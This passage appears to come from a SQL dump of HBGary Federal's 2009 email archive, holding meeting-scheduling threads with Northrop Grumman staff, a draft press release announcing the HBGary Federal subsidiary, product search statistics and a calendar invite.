a meeting over coffee.&nbsp; Please\r\nlet me know your availability the week of December 7th. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\nthanks for the update and I&#8217;m delighted you landed well. Yes, let&#8217;s get\r\ntogether for coffee soon to catch up. I&#8217;ll have Kathy Zavala set something up\r\nthis week (I&#8217;m in LA but back Thursday). Best, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny\r\ntime you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very excited about HBGarys capabilities in malware analysis and incident\r\nresponse. &nbsp;Their new product suite is the closest I have seen to being\r\nable to identify and counter the zero day threat. &nbsp;My first meeting in my\r\nnew position was with Palantir today to discuss the strength of an\r\nHBGary/Palantir combined capability. &nbsp;I believe marrying HBGary\'s strong\r\nmalware analysis and fingerprinting capabilities with Palantirs link analysis\r\ncapabilities could produce a joined capability that can make some headway\r\ntowards attribution. &nbsp;HBGary Federal will focus on building a core of\r\nhighly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\naddition HBGary Federal will start to build services and solutions business in the\r\ninformation operations arena. &nbsp;Being the CEO of a small organization\r\naffords me certain latitudes to develop capabilities and operate in certain\r\nways that the larger defense contractors would not touch for risk reasons.\r\n&nbsp;Small companies with well known capabilities are also attractive grounds\r\nfor a category of highly talented people that tend to shy away from the larger\r\norganizations. &nbsp;Ted and I are good at building these types of teams.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink in these few areas as a first cut HBGary could be a valuable asset to a\r\ncompany like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nNov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron -\r\n\r\nI\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4646,'aaron_hbgary_com/4646.html'),(332,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999768.M731887P3547Q332.eml','\"Zavala, Kathy L. (IS)\" <Kathy.Zavala@ngc.com>','Re: Status','Sounds good.  So 930am Monday morning, my office, right?AaronFrom my iPhoneOn Dec 3, 2009, at 11:49 AM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nThat’s sound great.  Bill would like to meet with you at 9:30\r\nam.  Will that time work for you?\r\n\r\n \r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009 7:32 PM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHi kathy,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust occured to me would an office be better?  We could\r\nmeet at my office: \r\n\r\n\r\n\r\n\r\n\r\n\r\n2010 Corporate Ridge, Suite # 700, McLean, VA\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nEither way.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 11:59 AM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMonday,\r\nDecember 7 works. Bill is ok meeting you at a location close to you. \r\nPlease provide a location.\r\n\r\n \r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, December 01, 2009 5:19 PM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWould\r\nMonday morning work?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 2:33 PM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n \r\n\r\nBill\r\nLuti has asked me to contact you to scheduled a meeting over coffee.  Please\r\nlet me know your availability the week of December 7th. \r\n\r\n \r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\n\r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\nthanks for the update and I’m delighted you landed well. Yes, let’s get\r\ntogether for coffee soon to catch up. I’ll have Kathy Zavala set something up\r\nthis week (I’m in LA but back Thursday). Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny\r\ntime you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very excited about HBGarys capabilities in malware analysis and incident\r\nresponse.  Their new product suite is the closest I have seen to being\r\nable to identify and counter the zero day threat.  My first meeting in my\r\nnew position was with Palantir today to discuss the strength of an\r\nHBGary/Palantir combined capability.  I believe marrying HBGary&#39;s strong\r\nmalware analysis and fingerprinting capabilities with Palantirs link analysis\r\ncapabilities could produce a joined capability that can make some headway\r\ntowards attribution.  HBGary Federal will focus on building a core of\r\nhighly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn\r\naddition HBGary Federal will start to build services and solutions business in the\r\ninformation operations arena.  Being the CEO of a small organization\r\naffords me certain latitudes to develop capabilities and operate in certain\r\nways that the larger defense contractors would not touch for risk reasons.\r\n Small companies with well known capabilities are also attractive grounds\r\nfor a category of highly talented people that tend to shy away from the larger\r\norganizations.  Ted and I are good at building these types of teams.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink in these few areas as a first cut HBGary could be a valuable asset to a\r\ncompany like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nNov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAaron -\r\n\r\nI&#39;m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4825,'aaron_hbgary_com/4825.html'),(333,'2009-12-03','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999769.M273716P3547Q333.eml','\"Bob Slapnik\" <bob@hbgary.com>,all@hbgary.com','RE: some google analytics for hbgary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThat&#8217;s great.&nbsp; We have hired a sales rep from Guidance who knows\r\nwhere the bodies are buried so to speak.&nbsp; So he&#8217;s be delighted to know this\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Thursday, December 03, 2009 4:59 AM\r\nTo: all@hbgary.com\r\nSubject: RE: some google analytics for hbgary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWow!&nbsp;&nbsp; When can we demo DDNA/EE?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Thursday, December 03, 2009 12:35 AM\r\nTo: all@hbgary.com\r\nSubject: some google analytics for hbgary\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThought you might like to see the significance of Guidance Encase\r\nto our bottom line:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSearch terms recently typed into google:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhbgary responder - 53,000 hits\r\n\r\n\r\n\r\n\r\n\r\nhbgary digital dna - 1,100 hits\r\n\r\n\r\n\r\n\r\n\r\nhbgary responder pro - 51,000 hits\r\n\r\n\r\n\r\n\r\n\r\nhbgary encase - 453,000 hits\r\n\r\n\r\n\r\n\r\n\r\nhbgary fastdump pro - 1,500 hits\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWell, the numbers don\'t lie.&nbsp; As we enter Q1, we need\r\nto highlight the availability of our working, totally integrated Digital DNA\r\nwith EnCase, as that is a sure bet according to google.&nbsp; I hope to\r\nsee&nbsp;some significant sales of the 42 LLC integrated&nbsp;solution in\r\nQ1.&nbsp; Scott should be bringing us an update on this product very\r\nsoon.&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16079,'aaron_hbgary_com/16079.html'),(334,'2009-12-03','\"Zavala, Kathy L. (IS)\" <Kathy.Zavala@ngc.com>','/aaron@hbgary.com/new/1296999769.M486337P3547Q334.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Status','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCorrect!&nbsp; Bill will be at your office at 9:30 am.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\nKathy\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 03, 2009 11:51 AM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSounds good. &nbsp;So 930am Monday morning, my office,\r\nright?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 3, 2009, at 11:49 AM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThat&#8217;s\r\nsound great.&nbsp; Bill would like to meet with you at 9:30 am.&nbsp; Will that\r\ntime work for you?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 02, 2009 7:32 PM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nkathy,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust\r\noccured to me would an office be better? &nbsp;We could meet at my\r\noffice:&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n2010 Corporate Ridge, Suite # 700, McLean, VA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nEither\r\nway.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 11:59 AM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMonday,\r\nDecember 7 works. Bill is ok meeting you at a location close to you.&nbsp;\r\nPlease provide a location.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 5:19 PM\r\nTo: Zavala, Kathy L. (IS)\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWould\r\nMonday morning work?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 2:33 PM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nBill Luti\r\nhas asked me to contact you to scheduled a meeting over coffee.&nbsp; Please\r\nlet me know your availability the week of December 7th. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\nthanks for the update and I&#8217;m delighted you landed well. Yes, let&#8217;s get\r\ntogether for coffee soon to catch up. I&#8217;ll have Kathy Zavala set something up\r\nthis week (I&#8217;m in LA but back Thursday). Best, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny\r\ntime you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very excited about HBGarys capabilities in malware analysis and incident\r\nresponse. &nbsp;Their new product suite is the closest I have seen to being\r\nable to identify and counter the zero day threat. &nbsp;My first meeting in my\r\nnew position was with Palantir today to discuss the strength of an\r\nHBGary/Palantir combined capability. &nbsp;I believe marrying HBGary\'s strong\r\nmalware analysis and fingerprinting capabilities with Palantirs link analysis\r\ncapabilities could produce a joined capability that can make some headway\r\ntowards attribution. &nbsp;HBGary Federal will focus on building a core of\r\nhighly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\naddition HBGary Federal will start to build services and solutions business in\r\nthe information operations arena. &nbsp;Being the CEO of a small organization\r\naffords me certain latitudes to develop capabilities and operate in certain\r\nways that the larger defense contractors would not touch for risk reasons.\r\n&nbsp;Small companies with well known capabilities are also attractive grounds\r\nfor a category of highly talented people that tend to shy away from the larger\r\norganizations. &nbsp;Ted and I are good at building these types of teams.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink in these few areas as a first cut HBGary could be a valuable asset to a\r\ncompany like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nNov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron -\r\n\r\nI\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14498,'aaron_hbgary_com/14498.html'),(335,'2009-12-03','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999769.M725728P3547Q335.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: How does this look?','Hi Aaron, Thanks so much. I think everything looks great except the subhead. Since we mention cybersecurity now in the&nbsp;headline, maybe we could shorten to:\r\n&nbsp;\r\nNew Venture Led By&nbsp;Former Northrop Grumman Executives\r\n&nbsp;Aaron Barr and Ted Vera\r\nWhat do you think -- are you comfortable with this wording? Best, K--- On Wed, 12/2/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: How does this look?To: karenmaryburke@yahoo.comCc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Wednesday, December 2, 2009, 9:41 PM\r\n\r\nHBGary Announces HBGary Federal, \r\nA New Subsidiary To Provide Cybersecurity Services To U.S. Government Agencies\r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera\r\nSacramento, California, December x, 2009 -- HBGary, Inc., the leader in malware detection and analysis, today announced HBGary Federal, a new subsidiary of HBGary focused on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements.\r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary remains profitable and will continue to be focused on doing what we do best -- developing technologies that detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.”\r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security\r\n technologies such as signature-based malware detection tools are no longer viable to protect our nations critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp; HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal.\r\nFor more information on HBGary Federal, please visit: http//www.hbgary.com or contact (please fill in)\r\n&nbsp;\r\nAbout Aaron Barr, CEO, HBGary Federal\r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system\r\n administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.\r\n&nbsp;\r\nAbout Ted Vera, COO and President, HBGary Federal\r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University.\r\n&nbsp;\r\n&nbsp;\r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp;\r\n\r\n',9612,'aaron_hbgary_com/9612.html'),(336,'2009-12-03','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999769.M908885P3547Q336.eml','\"Aaron Barr\" <aaron@hbgary.com>','InQTel','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20091203T173536Z\r\nDESCRIPTION:When: Tuesday\\, December 08\\, 2009 9:30 AM-10:30 AM (GMT-08:00)\r\n	 Pacific Time (US & Canada).\\nWhere: VA\\n\\nNote: The GMT offset above does\r\n	 not reflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\n\\\r\n	n\r\nDTEND:20091208T183000Z\r\nDTSTAMP:20091203T173536Z\r\nDTSTART:20091208T173000Z\r\nLAST-MODIFIED:20091203T173536Z\r\nLOCATION:VA\r\nORGANIZER;CN=\"Penny Hoglund\":mailto:penny@hbgary.com\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY;LANGUAGE=en-us:InQTel\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E008000000000063F5F7FB73CA01000000000000000\r\n	01000000000AA9F2A10BE5443807DD02C64D50174\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Tuesday\\, December 08\\, 2009 9:30 AM-10:30 AM (GMT-08:00) Pacifi\r\n	c Time (US &amp\\; Canada).\\n\\nWhere: VA\\n\\nNote: The GMT offset above does not refle\r\n	ct daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\r\n	